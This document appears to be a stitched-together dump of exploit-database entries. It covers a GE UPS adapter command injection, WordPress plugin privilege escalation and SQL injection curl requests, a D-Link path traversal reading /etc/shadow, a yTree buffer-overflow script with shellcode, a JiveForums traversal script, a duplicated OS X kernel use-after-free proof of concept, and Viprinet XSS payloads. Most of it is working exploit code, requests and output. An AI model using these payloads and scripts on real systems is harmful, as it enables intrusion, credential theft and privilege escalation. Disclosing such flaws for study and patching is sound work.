*ICS-CERT Advisory:*https://ics-cert.us-cert.gov/advisories/ICSA-16-033-02
*About GE*
GE is a US-based company that maintains offices in several countries around
the world.
The affected product, SNMP/Web Interface adapter, is a web server designed
to present information about the Uninterruptible Power Supply (UPS).
According to GE, the SNMP/Web Interface is deployed across several sectors
including Critical Manufacturing and Energy. GE estimates that these
products are used worldwide.
*Affected Products*
• All SNMP/Web Interface cards with firmware version prior to 4.8
manufactured by GE Industrial Solutions.
*VULNERABILITY OVERVIEW*
A
*COMMAND INJECTIONCVE-2016-0861*
Device application services run as (root) privileged user, and does not
perform strict input validation. This allows an authenticated user to
execute any system commands on the system.
Vulnerable function:
http://IP/dig.asp <http://ip/dig.asp>
Vulnerable parameter:
Hostname/IP address
*PoC:*
In the Hostname/IP address input, enter:
; cat /etc/shadow
Output
root:<hash>:0:0:root:/root:/bin/sh
<...other system users...>
ge:<hash>:101:0:gedeups7:/home/admin:/bin/sh
root123:<hash>:102:0:gedeups2:/home/admin:/bin/sh
B
*CLEARTEXT STORAGE OF SENSITIVE INFORMATIONCVE-2016-0862*
File contains sensitive account information stored in cleartext. All users,
including non-admins, can view/access device's configuration, via Menu
option -> Save -> Settings.
The application stores all information in clear-text, including *all user
logins and clear-text passwords*.
--
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in
* Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps
Description
================================================================================
User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege
escalation vulnerability. A registered user can modify the meta information of
any registered user, including himself. This way he can modify `wp_capabilities`
meta to escalate his account to a full privileged administrative account.
PoC
================================================================================
curl -c ${USER_COOKIES} \
-d "mode=edit&umm_meta_value[]=a:1:{s:13:\"administrator\";b:1;}\
&umm_meta_key[]=wp_capabilities" \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
&umm_sub_action=umm_update_user_meta&umm_user=${USER_ID}"
Timeline
================================================================================
2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7
Solution
================================================================================
No official solution yet exists.
* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps
Description
================================================================================
AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta
Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection
attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET
param.
PoC
================================================================================
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
&umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"
Timeline
================================================================================
2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7
Solution
================================================================================
Update to version 3.4.7
# Exploit Title: [DLink DVGN5402SP Multiple Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.dlink.com/]
# Versions Reported: [Multiple - See below]
# CVE-IDs: [CVE-2015-7245 + CVE-2015-7246 + CVE-2015-7247]
*DLink DVGN5402SP File Path Traversal, Weak Credentials Management, and
Sensitive Info Leakage Vulnerabilities*
*Vulnerable Models, Firmware, Hardware versions*
DVGN5402SP Web Management
Model Name : GPN2.4P21CCN
Firmware Version : W1000CN00
Firmware Version :W1000CN03
Firmware Version :W2000EN00
Hardware Platform :ZS
Hardware Version :Gpn2.4P21C_WIFIV0.05
Device can be managed through three users:
1. super full privileges
2. admin full privileges
3. support restricted user
*1. Path traversal*
Arbitrary files can be read off of the device file system. No
authentication is required to exploit this vulnerability.
*CVE-ID*: CVE-2015-7245
*HTTP Request *
POST /cgibin/webproc HTTP/1.1
Host: <IP>:8080
UserAgent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101
Firefox/39.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
AcceptLanguage: enUS,en;q=0.5
AcceptEncoding: gzip, deflate
Referer: http://<IP>:8080/cgibin/webproc
Cookie: sessionid=abcdefgh; language=en_us; sys_UserName=super
Connection: keepalive
ContentType: application/xwwwformurlencoded
ContentLength: 223
getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/shadow&var%3Amenu=setup&var%3Apage=connected&var%
&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh
*HTTP Response*
HTTP/1.0 200 OK
pstVal>name:getpage; pstVal>value:html/main.html
pstVal>name:getpage; pstVal>value:html/index.html
pstVal>name:errorpage;
pstVal>value:../../../../../../../../../../../etc/shadow
pstVal>name:var:menu; pstVal>value:setup
pstVal>name:var:page; pstVal>value:connected
pstVal>name:var:subpage; pstVal>value:
pstVal>name:objaction; pstVal>value:auth
pstVal>name::username; pstVal>value:super
pstVal>name::password; pstVal>value:super
pstVal>name::action; pstVal>value:login
pstVal>name::sessionid; pstVal>value:1ac5da6b
Connection: close
Contenttype: text/html
Pragma: nocache
CacheControl: nocache
setcookie: sessionid=1ac5da6b; expires=Fri, 31Dec9999 23:59:59 GMT;
path=/
#root:<hash_redacted>:13796:0:99999:7:::
root:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::
*2. Use of Default, HardCoded Credentials**CVE-ID*: CVE-2015-7246
The device has two system user accounts configured with default passwords
(root:root, tw:tw).
Login tw is not active though. Anyone could use the default password to
gain administrative control through the Telnet service of the system (when
enabled) leading to integrity, loss of confidentiality, or loss of
availability.
*3.Sensitive info leakage via device running configuration backup *
*CVE-ID*: CVE-2015-7247
Usernames, Passwords, keys, values and web account hashes (super & admin)
are stored in cleartext and not masked. It is noted that restricted
'support' user may also access this config backup file from the portal
directly, gather clear-text admin creds, and gain full, unauthorized access
to the device.
--
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in
# Exploit Author: Juan Sacco - http://www.exploitpack.com -jsacco@exploitpack.com
# Program affected: yTree - File manager for terminals v1.94-1.1
# Description: yTree is prone to a stack-based overflow, an attacker could exploit
# this issue to execute arbitrary code in the context of the application.
# Failed exploit attempts will result in a denial-of-service condition.
#
# Tested and developed on: Kali Linux 2.0 x86 - https://www.kali.org
#
# Program Description: This is a file manager that separates files from directories
# and allows you to select and manage files from different directories.
# It works on black and white or color terminals and is UTF-8 locales aware.
# Vendor homepage: http://www.han.de/~werner/ytree.html
# Kali Linux 2.0 package: pool/main/y/ytree/ytree_1.94-1.1_i386.deb
# MD5sum: 7d55d9c7e8afb4405c149463613f596b
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
# EAX: 0x41414141 EBX: 0xB7FB8000 ECX: 0x00000000 EDX: 0x08071342 o d I t s z a P c
# ESI: 0xBFFFF134 EDI: 0x41414141 EBP: 0x0806FC60 ESP: 0xBFFFDC50 EIP: 0xB7F888C1
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
# --------------------------------------------------------------------------[code]
# => 0xb7f888c1 <werase+49>: mov eax,DWORD PTR [eax+0x4c]
# 0xb7f888c4 <werase+52>: mov DWORD PTR [esp+0x24],eax
# 0xb7f888c8 <werase+56>: mov eax,DWORD PTR [edi+0x50]
# 0xb7f888cb <werase+59>: mov DWORD PTR [esp+0x28],eax
# 0xb7f888cf <werase+63>: mov eax,DWORD PTR [edi+0x54]
# 0xb7f888d2 <werase+66>: mov DWORD PTR [esp+0x2c],eax
# 0xb7f888d6 <werase+70>: mov eax,DWORD PTR [edi+0x58]
# 0xb7f888d9 <werase+73>: mov DWORD PTR [esp+0x30],eax
# --------------------------------------------------------------------------------
# 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# gdb$ backtrace
# 0 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# 1 0x08050f43 in ?? ()
# 2 0x08051182 in ?? ()
# 3 0x0805972f in ?? ()
# 4 0x0804a68a in ?? ()
# 5 0xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2, argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287
# 6 0x0804a701 in ?? ()
import os,subprocess
def run():
try:
print "# yTree Buffer Overflow by Juan Sacco"
print "# It's fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*65
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*1200
eip = "\xd0\xf6\xff\xbf"
subprocess.call(["ytree",' ', junk + shellcode + nops + eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, yTree not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit yTree v1.94-1.1 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()
'''
JiveForums <=5.5.25 Directory Traversal Vulnerability
Description
==========
Jive forums is a widely recognized network community. Its products have been used by global IT giants including IBM, HP, Oracle, Adobe, Cisco, Intel, Amazon, Emc, Mcafee, Rapid7, Fireeye, etc.
The version of JiveForums <=5.5.25 and < 4.0 are vulnerable to a directory traversal security issue, other versions may also be affected.
Details
=======
Product: JiveSoftware
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: https://www.jivesoftware.com
Credits
============
Discovered by: Zhaohuan of Tencent Security
Site: http://security.tencent.com
Affected Products:
=================
Test on JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
maybe work <= 5.5.25
Exploit:
============
'''
#!/usr/bin/python
# Author: Zhaohuan || http://weibo.com/hackyou
# Google Dork: inurl:servlet/JiveServlet
# Tested on JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
#
# Software Link: https://www.jivesoftware.com
import urllib2
import sys
print "JiveForums <=5.5.25 Directory Traversal Exploit"
if len(sys.argv) != 3:
print "[-] Trying exploit on : <site> <path>"
print "[*] Usage: %s http://localhost /jiveforums/" % sys.argv[0]
sys.exit()
payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg'
print "[+] Trying to request :"+sys.argv[1]+sys.argv[2]+payload
response=urllib2.urlopen(sys.argv[1]+sys.argv[2]+payload)
readvul=response.read()
print readvul
'''
Solution:
============
Update to jiveforums 5.5.30 or the latest version.
More Information:
https://www.jivesoftware.com/services-support/
'''
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=553
The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.
ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.
ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:
boolean_t
ipc_kobject_notify(
mach_msg_header_t *request_header,
mach_msg_header_t *reply_header)
{
ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
switch (request_header->msgh_id) {
case MACH_NOTIFY_NO_SENDERS:
if (ip_kotype(port) == IKOT_VOUCHER) {
ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights
return TRUE;
}
At this point there are also no locks held.
void
ipc_voucher_notify(mach_msg_header_t *msg)
{
mach_no_senders_notification_t *notification = (void *)msg;
ipc_port_t port = notification->not_header.msgh_remote_port;
ipc_voucher_t iv;
assert(ip_active(port));
assert(IKOT_VOUCHER == ip_kotype(port));
iv = (ipc_voucher_t)port->ip_kobject;
ipc_voucher_release(iv);
}
ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:
void
ipc_voucher_release(ipc_voucher_t voucher)
{
if (IPC_VOUCHER_NULL != voucher)
iv_release(voucher);
}
static inline void
iv_release(ipc_voucher_t iv)
{
iv_refs_t refs;
assert(0 < iv->iv_refs);
refs = hw_atomic_sub(&iv->iv_refs, 1);
if (0 == refs)
iv_dealloc(iv, TRUE);
}
iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.
We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.
With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)
You should enable kernel zone poisoning with the "-zp" boot arg to repro this.
You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element
This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.
Tested on OS X ElCapitan 10.11 (15A284)
Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.
Note that you might have to leave the repro running for a little while to win the race.
*/
// ianbeer
/*
OS X and iOS unsandboxable kernel use-after-free in mach vouchers
The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.
ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.
ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:
boolean_t
ipc_kobject_notify(
mach_msg_header_t *request_header,
mach_msg_header_t *reply_header)
{
ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
switch (request_header->msgh_id) {
case MACH_NOTIFY_NO_SENDERS:
if (ip_kotype(port) == IKOT_VOUCHER) {
ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights
return TRUE;
}
At this point there are also no locks held.
void
ipc_voucher_notify(mach_msg_header_t *msg)
{
mach_no_senders_notification_t *notification = (void *)msg;
ipc_port_t port = notification->not_header.msgh_remote_port;
ipc_voucher_t iv;
assert(ip_active(port));
assert(IKOT_VOUCHER == ip_kotype(port));
iv = (ipc_voucher_t)port->ip_kobject;
ipc_voucher_release(iv);
}
ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:
void
ipc_voucher_release(ipc_voucher_t voucher)
{
if (IPC_VOUCHER_NULL != voucher)
iv_release(voucher);
}
static inline void
iv_release(ipc_voucher_t iv)
{
iv_refs_t refs;
assert(0 < iv->iv_refs);
refs = hw_atomic_sub(&iv->iv_refs, 1);
if (0 == refs)
iv_dealloc(iv, TRUE);
}
iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.
We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.
With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)
You should enable kernel zone poisoning with the "-zp" boot arg to repro this.
You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element
This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.
Tested on OS X ElCapitan 10.11 (15A284)
Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.
Note that you might have to leave the repro running for a little while to win the race.
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
int start = 0;
void go(void* arg){
mach_port_t v = 0xb03; // <-- works for me; ymmv
mach_msg_header_t msg = {0};
msg.msgh_size = sizeof(mach_msg_header_t);
msg.msgh_local_port = v;
msg.msgh_remote_port = v;
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.msgh_id = 0106;
while(start == 0){;}
usleep(1);
mach_msg(&msg,
MACH_SEND_MSG,
msg.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
int main() {
//char port_num[20] = {0};
//gets(port_num);
//mach_port_t v = (mach_port_t)atoi(port_num);
//printf("%x\n", v);
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
mach_port_t v = 0xb03;
mach_msg_header_t msg = {0};
msg.msgh_size = sizeof(mach_msg_header_t);
msg.msgh_local_port = v;
msg.msgh_remote_port = v;
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.msgh_id = 0106;
usleep(100000);
start = 1;
mach_msg(&msg,
MACH_SEND_MSG,
msg.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
pthread_join(t, NULL);
return 0;
}
Vulnerability title: Multiple Instances Of Cross-site Scripting In Viprinet Multichannel VPN Router 300
CVE: CVE-2014-2045
Vendor: Viprinet
Product: Multichannel VPN Router 300
Affected version: 2013070830/2013080900
Fixed version: 2014013131/2014020702
Reported by: Tim Brown
Details:
The data supplied to both the `old’ and `new’ web applications (the device has two web based management interfaces) was permanently stored and could be retrieved later by other users. This is a normal feature of many applications, however, in this instance the application failed to restrict the type of data that could be stored and also failed to sanitise it, meaning that it could not be safely rendered by the browser.
Stored cross-site scripting could be triggered by:
Attempting to login with a username of `<script>alert(1)</script>’ (affects `old’ interface and results in post-authentication cross-site Scripting when a legitimate administrator views the realtime log)
Creating an account with a username of `<script>alert(1)</script>’ (affects both `old’ and `new’ interfaces once created)
Setting the device’s hostname to `<script>alert(1)</script>’ (affects `old’ interface once created)
A number of locations were identified as being vulnerable to reflective attacks, including:
http://<host>/exec?module=config&sessionid=<sessionid>&inspect=%3Cscript%20src=http://localhost:9090%3E%3C/script%3E
http://<host>/exec?tool=atcommands&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&commands=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
http://<host>/exec?tool=ping&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&host=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&pingcount=3&databytes=56
The inclusion of session IDs in all URLs partially mitigates the reflective cross-site scripting but could itself be considered a vulnerability since it is included in referred headers and log files.
These are simply some examples of how this attack might be performed, and the it is believed that both the `old’ and `new’ web applications are systemically vulnerable to this.
Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2045/
Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.